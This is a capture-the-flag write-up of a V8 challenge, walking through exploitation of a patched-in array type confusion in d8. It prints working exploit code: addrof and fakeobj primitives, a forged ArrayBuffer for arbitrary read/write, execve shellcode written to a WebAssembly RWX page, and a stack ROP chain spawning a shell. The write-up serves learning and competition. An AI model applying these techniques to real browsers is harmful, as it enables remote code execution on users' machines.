-->
UTCTF took place this weekend, and with a weight of 67.21 on CTFtime, there was no way our team could miss this CTF. However, the challenges weren’t really that great or interesting, apart from a V8 chall (which I’m sure to pro V8 people is probably really boring, but not having done V8 before, I found it quite fun). Here’s my writeup for the challenge!
Last year, your internship at E-Corp (Evil Corp) ended with a working router RCE exploit. Leadership was very impressed. As a result, we chose to extend a return offer. We used your exploit to get a MiTM position on routers around the world. Now, we want to be able to use that MiTM position to exploit browsers to further our world domination plans! This summer, you will need to exploit Chrome!
One of our vulnerability researchers has discovered a new type confusion bug in Chrome. It turns out, a type confusion can be evoked by calling .confuse() on a PACKED_DOUBLE_ELEMENTS or PACKED_ELEMENTS array. The attached poc.js illustrates an example. You can run it with ./d8 ./poc.js. Once you have an RCE exploit, you will find a file with the flag in the current directory. Good luck and have fun!
By Aadhithya (@aadhi0319 on discord)
This is the patch diff in the provided dist files:
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..3af3bea5725 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -1589,5 +1589,44 @@ BUILTIN(ArrayConcat) {
return Slow_ArrayConcat(&args, species, isolate);
}
+// Custom Additions (UTCTF)
+
+BUILTIN(ArrayConfuse) {
+ HandleScope scope(isolate);
+ Factory *factory = isolate->factory();
+ Handle<Object> receiver = args.receiver();
+
+ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Invalid type. Must be a JSArray.")));
+ }
+
+ Handle<JSArray> array = Cast<JSArray>(receiver);
+ ElementsKind kind = array->GetElementsKind();
+
+ if (kind == PACKED_ELEMENTS) {
+ DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
+ array, PACKED_DOUBLE_ELEMENTS);
+ {
+ DisallowGarbageCollection no_gc;
+ Tagged<JSArray> raw = *array;
+ raw->set_map(*map, kReleaseStore);
+ }
+ } else if (kind == PACKED_DOUBLE_ELEMENTS) {
+ DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
+ array, PACKED_ELEMENTS);
+ {
+ DisallowGarbageCollection no_gc;
+ Tagged<JSArray> raw = *array;
+ raw->set_map(*map, kReleaseStore);
+ }
+ } else {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Invalid JSArray type. Must be an object or float array.")));
+ }
+
+ return ReadOnlyRoots(isolate).undefined_value();
+}
+
} // namespace internal
} // namespace v8
The primitive given to us is straightforward: type confusion between
PACKED_ELEMENTS
and PACKED_DOUBLE_ELEMENTS
. To figure out the difference
between the two, let’s look at how the V8 engine represents different types of
arrays.
Just a side note, most pointers in recent versions of V8 are compressed, which means that only the lower half of a pointer is stored, while the upper half is an ASLR constant for all V8 objects. As a result, most pointers are 32-bit even though they actually address 64-bit memory.
In the V8 engine, objects are usually allocated on the V8 heap, which is part of a separate region called the sandbox. Each object on the V8 heap has a Map pointer which indicates its type, so that the engine knows how to dereference/read the values on the object. For an array, this is the memory layout:
0x00: Map (PACKED_ELEMENTS, PACKED_DOUBLE_ELEMENTS etc)
0x04: properties (pointer to FixedArray)
0x08: elements (pointer to FixedArray or FixedDoubleArray)
0x0c: length
The actual contents of the array are stored in the elements
pointer at +0x8
.
This is the layout for a FixedArray
:
0x00: Map (FIXED_ARRAY_TYPE, FIXED_DOUBLE_ARRAY_TYPE etc)
0x04: length
0x08: arr[0]
0x0c: arr[1]
0x10: ...
When an array is indexed, the engine will first check the Map of the object. If
it’s one of the array types, it will check the length
field to prevent OOB
access, then get the value at the corresponding index in the elements
array.
Depending on the type of Map on the parent object, the final value returned to
the user will be different, as besides integers and floats, all other objects
are referenced by pointers. Integers and floats are stored using their actual
values.
Because of pointer tagging, integers are actually stored by a value twice the actual value, but that’s not super important for the exploit. I’ll talk more about pointer tagging later!
On calling .confuse()
, the Map of the parent object is changed. This changes
how the elements
store is interpreted, as mentioned earlier.
Since we can swap between regular arrays and float arrays, we have both our
addrof
and fakeobj
primitive already. For addrof
, we can change a
PACKED_ELEMENTS
type to PACKED_DOUBLE_ELEMENTS
and read the pointers
directly. For fakeobj
, we can change PACKED_DOUBLE_ELEMENTS
to
PACKED_ELEMENTS
on an array with pointers to our fake objects.
In V8 exploitation,
addrof
andfakeobj
are 2 primitives that we usually need to get in the V8 sandbox before we can upgrade to arbitrary r/w.
addrof
Let’s implement addrof
first, then we can do the fakeobj
with the leak we
have.
// helper functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function fto64i(val) {
f64_buf[0] = val;
return Number(BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n))
}
function fto32i(val) {
f64_buf[0] = val
return Number(u64_buf[0])
}
function pack(v0, v1) {
u64_buf[0] = v0
u64_buf[1] = v1
return f64_buf[0]
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
let arr1 = [{}, {}]
arr1.confuse();
leak = fto32i(arr1[0])
console.log("[*] leak: 0x" + leak.toString(16))
[*] leak: 0x42e39
Here, we can see our leak! The reason why it’s pointing to a seemingly unaligned
address is because of pointer tagging as mentioned earlier. To differentiate
between integers and pointers, the V8 engine sets the first bit of pointers to
1, and stores integers as twice their actual value. Thus, if we see any
pointers, we should always subtract 1 before using GDB to view the memory. We
don’t need to do this for the job
command in GDB though.
Since the address that we leaked was that of an
object, we know it’s in the V8 heap and probably a constant offset from arr1
and any other arrays we define later. Let’s test this out with our prospective
fakeobj
, which we’ll create with a float array too.
let fakeobj = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7]
;%DebugPrint(fakeobj)
[*] leak: 0x42e39
DebugPrint: 0x270200042f15: [JSArray]
- map: 0x2702001cb86d <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2702001cb1c5 <JSArray[0]>
- elements: 0x270200042ed5 <FixedDoubleArray[7]> [PACKED_DOUBLE_ELEMENTS]
- length: 7
- properties: 0x270200000725 <FixedArray[0]>
- All own properties (excluding elements): {
0x270200000d99: [String] in ReadOnlySpace: #length: 0x270200025fed <AccessorInfo name= 0x270200000d99 <String[6]: #length>, data= 0x270200000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x270200042ed5 <FixedDoubleArray[7]> {
0: 1.1
1: 2.2
2: 3.3
3: 4.4
4: 5.5
5: 6.6
6: 7.7
}
...
Yup, both pointers are in the 0x42xxx
region. Actually, these addresses don’t
change at all because of pointer compression, so we don’t technically need the
addrof
primitive anymore. Well…
let arr0 = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7]
fakeobj_addr = leak - 0x58
console.log("[*] fakeobj address: 0x" + fakeobj_addr.toString(16))
console.log("[*] prepare arr2 to dereference the fake object")
arr2[0] = itof(BigInt(fakeobj_addr))
arr2.confuse()
fakeobj
to arb read/writeNow, we need to find a target object that we want to forge, which should upgrade
our primitive to arb r/w. The most commonly-used object is ArrayBuffer
, because
in non-sandboxed mode, it has a 64-bit unsandboxed pointer allocated on the
binary’s actual heap. This is one of the easiest ways to escape the V8 sandbox
and start writing stuff to get our RCE. To create such a buffer and do
read/write operations on it:
let arraybuf = new ArrayBuffer(8)
let dataview = new DataView(arraybuf)
Let’s inspect the memory layout of the ArrayBuffer
:
let a = new ArrayBuffer(8)
;%DebugPrint(a)
DebugPrint: 0x270200042f89: [JSArrayBuffer]
- map: 0x2702001c87b9 <Map[56](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2702001c894d <Object map = 0x2702001c87e1>
- elements: 0x270200000725 <FixedArray[0]> [HOLEY_ELEMENTS]
- cpp_heap_wrappable: 0
- backing_store: 0x55c64371c4f0
- byte_length: 8
- max_byte_length: 8
- detach key: 0x270200000069 <undefined>
- detachable
- properties: 0x270200000725 <FixedArray[0]>
- All own properties (excluding elements): {}
...
pwndbg> x/32wx 0x270200042f89-1
0x270200042f88: 0x001c87b9 0x00000725 0x00000725 0x00000000
0x270200042f98: 0x00000069 0x00000008 0x00000000 0x00000008
0x270200042fa8: 0x00000000 0x4371c4f0 0x000055c6 0x00080040
0x270200042fb8: 0x00000069 0x00000002
From this example ArrayBuffer
, we can see that there are quite a few fields
belonging to the struct. Of greatest interest is the 64-bit heap pointer, which
we can use for the arbitrary read/write. As for the rest of the fields, let’s
just copy them into the fake object.
arr0[0] = pack(JS_ARRAY_BUFFER_TYPE, 0x725)
arr0[1] = pack(0x725, 0x0)
arr0[2] = pack(0x69, 0x1000)
arr0[3] = pack(0x0, 0x1000)
arr0[4] = pack(0x0, Number(BigInt(leak) & 0xffffffffn))
arr0[5] = pack(Number(BigInt(leak) >> 32n), 0x80040)
arr0[6] = pack(0x69, 0x2)
let dataview = new DataView(arr2[0])
leak = dataview.getBigUint64(0, true) // or setBigUint64
This fake object should allow us to read/write using the get/set methods. Now we just need a target to get RCE.
There are usually a few targets that we can use after getting arbitrary write.
__free_hook
, exit_funcs
, saved rip etc)I tried the wasm method, which worked locally (even in the provided Docker) but not on remote for some reason. In the end, I found a stack and pie leak and hence managed to do ROP.
I initially thought https://docs.kernel.org/core-api/protection-keys.html was the issue, but apparently the JIT technique works well, so this might not be it. According to @Linz in the Discord, it might be a kernel protection on more modern Ubuntu 24.04.
When creating a WebAssembly.Instance
, the V8 engine will allocate an rwx
page and compile the WebAssembly into actual instructions to be executed. The
idea is that the page is left as rwx, and hence if we can leak the address of
this page, we can write shellcode to it, then call the function to get a shell.
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
let wasm_mod = new WebAssembly.Module(wasm_code)
let wasm_instance = new WebAssembly.Instance(wasm_mod)
let f = wasm_instance.exports.main
;%DebugPrint(wasm_instance)
DebugPrint: 0x3225001d4205: [WasmInstanceObject] in OldSpace
- map: 0x3225001cdc5d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3225001cdd09 <Object map = 0x3225001d41b5>
- elements: 0x322500000725 <FixedArray[0]> [HOLEY_ELEMENTS]
- trusted_data: 0x322500200355 <Other heap object (WASM_TRUSTED_INSTANCE_DATA_TYPE)>
- module_object: 0x322500043d39 <Module map = 0x3225001cdb35>
- shared_part: 0x3225001d4205 <Instance map = 0x3225001cdc5d>
- exports_object: 0x322500043e15 <Object map = 0x3225001d4379>
- properties: 0x322500000725 <FixedArray[0]>
- All own properties (excluding elements): {}
pwndbg> x/32wx 0x3225001d4205-1
0x3225001d4206: 0x001cdc5d 0x00000725 0x00000725 0x00200355
0x3225001d4214: 0x00043d39 0x001d4205 0x00043e15 0x001cdeb9
0x3225001d4224: 0x00000725 0x00000725 0x00043e49 0xfffffffe
0x3225001d4234: 0x00000000 0x00043eb1 0x001c0201 0x2b020e0e
0x3225001d4244: 0x0d00080e 0x084007ff 0x001c894d 0x001c87b9
0x3225001d4254: 0x00043e81 0x00000735 0x00000a89 0x00000000
0x3225001d4264: 0x00001edd 0x00000000 0x00000000 0xffffffff
0x3225001d4274: 0x00000069 0x00000006 0x00000069 0x00000069
There are quite a few fields in the Instance object, but the one we’re
interested in is the trusted_data
field at +0xc
. This is a pointer to
another object that holds the actual pointer to our rwx page, as seen below.
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x2ff043ccc000 0x2ff043ccd000 rwxp 1000 0 [anon_2ff043ccc]
0x322500000000 0x322500010000 r--p 10000 0 [anon_322500000]
0x322500010000 0x322500020000 ---p 10000 1 [anon_322500010]
0x322500020000 0x322500040000 r--p 20000 0 [anon_2a2100020]
0x322500040000 0x322500143000 rw-p 103000 0 [anon_322500040]
0x322500143000 0x322500180000 ---p 3d000 0 [anon_322500143]
0x322500180000 0x322500181000 rw-p 1000 0 [anon_322500180]
...
pwndbg> x/16wx 0x322500200355-1
0x322500200354: 0x00001f55 0x00200421 0x00200325 0x00000ed1
0x322500200364: 0x44000000 0x00007f25 0x00010000 0x00000000
0x322500200374: 0x6b3b9a80 0x000055da 0x00000000 0x00000000
0x322500200384: 0x43ccc000 0x00002ff0 0x6b3ac4f0 0x000055da
To get to this, we need to use our addrof
primitive on both the wasm instance
and the trusted_data
object, as the addresses of these objects do change across
runs.
The address of the
trusted_data
object is actually dependent on the length of the exploit script (not including comments), so if the exploit doesn’t change, actually theaddrof
primitive isn’t needed at all.
This snippet will perform the required leaks.
arr1[0] = wasm_instance
let wasm_instance_addr = fto32i(arr1[0])
console.log("[*] wasm instance addr: 0x" + wasm_instance_addr.toString(16))
console.log("[*] get page addr")
arr0[0] = pack(PACKED_DOUBLE_ELEMENTS, 0x725)
arr0[1] = pack(wasm_instance_addr + 0xc - 0x8, 0x4)
let trusted_data = fto32i(arr2[0][0])
console.log("[*] trusted_data addr: 0x" + trusted_data.toString(16))
arr0[0] = pack(PACKED_DOUBLE_ELEMENTS, 0x725)
arr0[1] = pack(trusted_data + 0x30 - 0x8, 0x4)
let page_addr = fto64i(arr2[0][0])
console.log("[*] rwx page addr: 0x" + page_addr.toString(16))
Finally, all that’s left is to write our shellcode to the rwx page and call the
function we created. As mentioned earlier, we can use a fake ArrayBuffer
object for this write primitive.
console.log("[*] prepare array buffer")
arr0[0] = pack(JS_ARRAY_BUFFER_TYPE, 0x725)
arr0[1] = pack(0x725, 0x0)
arr0[2] = pack(0x69, 0x1000)
arr0[3] = pack(0x0, 0x1000)
arr0[4] = pack(0x0, Number(BigInt(page_addr) & 0xffffffffn))
arr0[5] = pack(Number(BigInt(page_addr) >> 32n), 0x80040)
arr0[6] = pack(0x69, 0x2)
console.log("[*] create dataview and write shellcode to rwx page")
// https://shell-storm.org/shellcode/files/shellcode-806.html
// \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
var shellcode = Array(0x4).fill(0x90909090)
shellcode = shellcode.concat([0x31c048bb,0xd19d9691,0xd08c97ff,0x48f7db53,0x545f9952,0x57545eb0,0x3b0f0500])
let dataview = new DataView(arr2[0])
for (let i = 0; i < shellcode.length; i++) {
console.log(dataview.getUint32(4 * i).toString(16))
dataview.setUint32(4 * i, shellcode[i], false)
}
console.log("[*] pop shell")
f()
This works fine on local, but for some reason it didn’t work on remote. There were a few people complaining in the Discord, but we were told to try another method. I’m very sure that the leaks are correct because I can read from the page, and the instructions tally with what I see on local as well. So the only other possible explanation is that the rwx page became w^x for some reason. After waiting a while for the admin to verify my solve, I became pretty sleepy and went to bed.
In the morning, I woke up to a closed ticket. Realizing there wasn’t an easy way
out, I decided to do a one gadget/ROP either through House of Apple or stack rip
overwrite respectively. The plan was to leak something via the heap pointer that
we first saw in the ArrayBuffer
object. Most likely, there would be some libc
addresses I could leak from unsorted chunks; I can then attack the file structs
from there.
We can use the arbitrary read to leak the heap pointer from the ArrayBuffer
directly.
console.log("[*] leak heap pointer in arraybuf")
arr0[0] = pack(PACKED_DOUBLE_ELEMENTS, 0x725)
arr0[1] = pack(arraybuf_addr + 0x1c, 0x8)
heap_ptr = fto64i(arr2[0][0])
console.log("[*] heap pointer: 0x" + heap_ptr.toString(16))
pwndbg> tel 0x556b4f039260 85
00:0000│ 0x556b4f039260 ◂— 0
... ↓ 2 skipped
03:0018│ 0x556b4f039278 ◂— 0x51 /* 'Q' */
04:0020│ 0x556b4f039280 —▸ 0x556b4f039260 ◂— 0
05:0028│ 0x556b4f039288 ◂— 8
... ↓ 2 skipped
08:0040│ 0x556b4f0392a0 ◂— 2
09:0048│ 0x556b4f0392a8 —▸ 0x7ffdb5921b10 —▸ 0x556b38cfa578 (vtable for v8::(anonymous namespace)::ShellArrayBufferAllocator+16) —▸ 0x556b37626a70 (v8::(anonymous namespace)::ArrayBufferAllocatorBase::~ArrayBufferAllocatorBase()) ◂— push rbp
0a:0050│ 0x556b4f0392b0 ◂— 0
...
50:0280│ 0x556b4f0394e0 —▸ 0x556b4f036cf0 ◂— 0
51:0288│ 0x556b4f0394e8 —▸ 0x7fe7b00c1b20 (main_arena+96) —▸ 0x556b4f05cb70 ◂— 0
52:0290│ 0x556b4f0394f0 ◂— 0
53:0298│ 0x556b4f0394f8 ◂— 0x71 /* 'q' */
54:02a0│ 0x556b4f039500 ◂— 0x556b4f039
Wow, both a stack leak and a libc leak! Even better, we have a convenient pie
leak at the stack leak should we choose to use it. I soon realized that the
libc leak from the main_arena
address was pretty unreliable
as the chunks kept updating every time I do something in the script. The stack
leak, however, is actually part of the chunk that we leaked, and so is much more
reliable. Let’s leak stack and pie via the fakeobj
primitive.
stack_leak = heap_ptr + 0x48
console.log("[*] get stack leak from heap")
console.log("[*] reading from 0x" + stack_leak.toString(16))
arr0[0] = pack(JS_ARRAY_BUFFER_TYPE, 0x725)
arr0[1] = pack(0x725, 0x0)
arr0[2] = pack(0x69, 0x1000)
arr0[3] = pack(0x0, 0x1000)
arr0[4] = pack(0x0, Number(BigInt(stack_leak) & 0xffffffffn))
arr0[5] = pack(Number(BigInt(stack_leak) >> 32n), 0x80040)
arr0[6] = pack(0x69, 0x2)
let dataview = new DataView(arr2[0])
stack_leak = dataview.getBigUint64(0, true)
console.log("[*] stack leak: 0x" + stack_leak.toString(16))
console.log("[*] get pie leak from stack")
console.log("[*] reading from 0x" + stack_leak.toString(16))
arr0[4] = pack(0x0, Number(stack_leak & 0xffffffffn))
arr0[5] = pack(Number(stack_leak >> 32n), 0x80040)
pie_base = dataview.getBigUint64(0, true) - 0x288c578n
console.log("[*] pie base: 0x" + pie_base.toString(16))
Now, a candidate stack target I had in mind was the saved rip at
__libc_start_call_main
. I tested by overwriting the value manually in GDB in both
--shell
and regular mode, and in both cases the program tries to return to my
overwritten address, so this is definitely a viable write.
pwndbg> tel 0x7ffdb5921b10+0x1b0
00:0000│+b90 0x7ffdb5921cc0 —▸ 0x7ffdb5921d60 —▸ 0x7ffdb5921dc0 ◂— 0
01:0008│+b98 0x7ffdb5921cc8 —▸ 0x7fe7aff00488(__libc_start_call_main+120) ◂— mov edi, eax
02:0010│+ba0 0x7ffdb5921cd0 —▸ 0x7fe7b00c2fe8 (__exit_funcs_lock) ◂— 0
03:0018│+ba8 0x7ffdb5921cd8 —▸ 0x7ffdb5921de8 —▸ 0x7ffdb5922c11 ◂— '/home/samuzora/ctf/comp/2025-H0/utctf/e-corp/d8'
04:0020│+bb0 0x7ffdb5921ce0 ◂— 0x4b5921d20
05:0028│+bb8 0x7ffdb5921ce8 —▸ 0x556b37626aa0(main) ◂— push rbp
06:0030│+bc0 0x7ffdb5921cf0 —▸ 0x7ffdb5921de8 —▸ 0x7ffdb5922c11 ◂— '/home/samuzora/ctf/comp/2025-H0/utctf/e-corp/d8'
07:0038│+bc8 0x7ffdb5921cf8 ◂— 0x90559e6d9909da04
Luckily, because of the vast number of gadgets in d8
, the ROP part was very
simple - just pop all the required registers, syscall, and win!
// libc_start_call_main: -0x1b98 from bottom of stack, 0x1b8 from stack leak
let libc_start_call_main = stack_leak + 0x1b8n
let start_of_write = libc_start_call_main - 0x8n // space for binsh
console.log("[*] write rop chain")
console.log("[*] rop chain at libc_start_call_main: 0x" + libc_start_call_main.toString(16))
arr0[4] = pack(0x0, Number(start_of_write & 0xffffffffn))
arr0[5] = pack(Number(start_of_write >> 32n), 0x80040)
let syscall = pie_base + 0x11976bcn
let pop_rax = pie_base + 0x1195e45n
let pop_rdi = pie_base + 0x133d0a1n
let pop_rsi = pie_base + 0x1455417n
let pop_rdx = pie_base + 0x12949e2n
let binsh_string = 0x68732f6e69622fn
let binsh_addr = start_of_write
let rop_chain = [
binsh_string,
pop_rdi, binsh_addr,
pop_rsi, 0x0n,
pop_rdx, 0x0n,
pop_rax, 59n,
syscall
]
let stack_pos = 0
for (let i = 0; i < rop_chain.length; i++) {
dataview.setBigUint64(i*8, rop_chain[i], true)
}
After overwriting the saved rip, exiting the d8
binary will trigger the RCE.
This was my very first V8 challenge and I’m quite happy to have solved it during the CTF. I learnt a lot about V8 internals, and will probably correct any wrong info in this writeup when I get better at V8. Excited to try solving more V8 challs in the near future!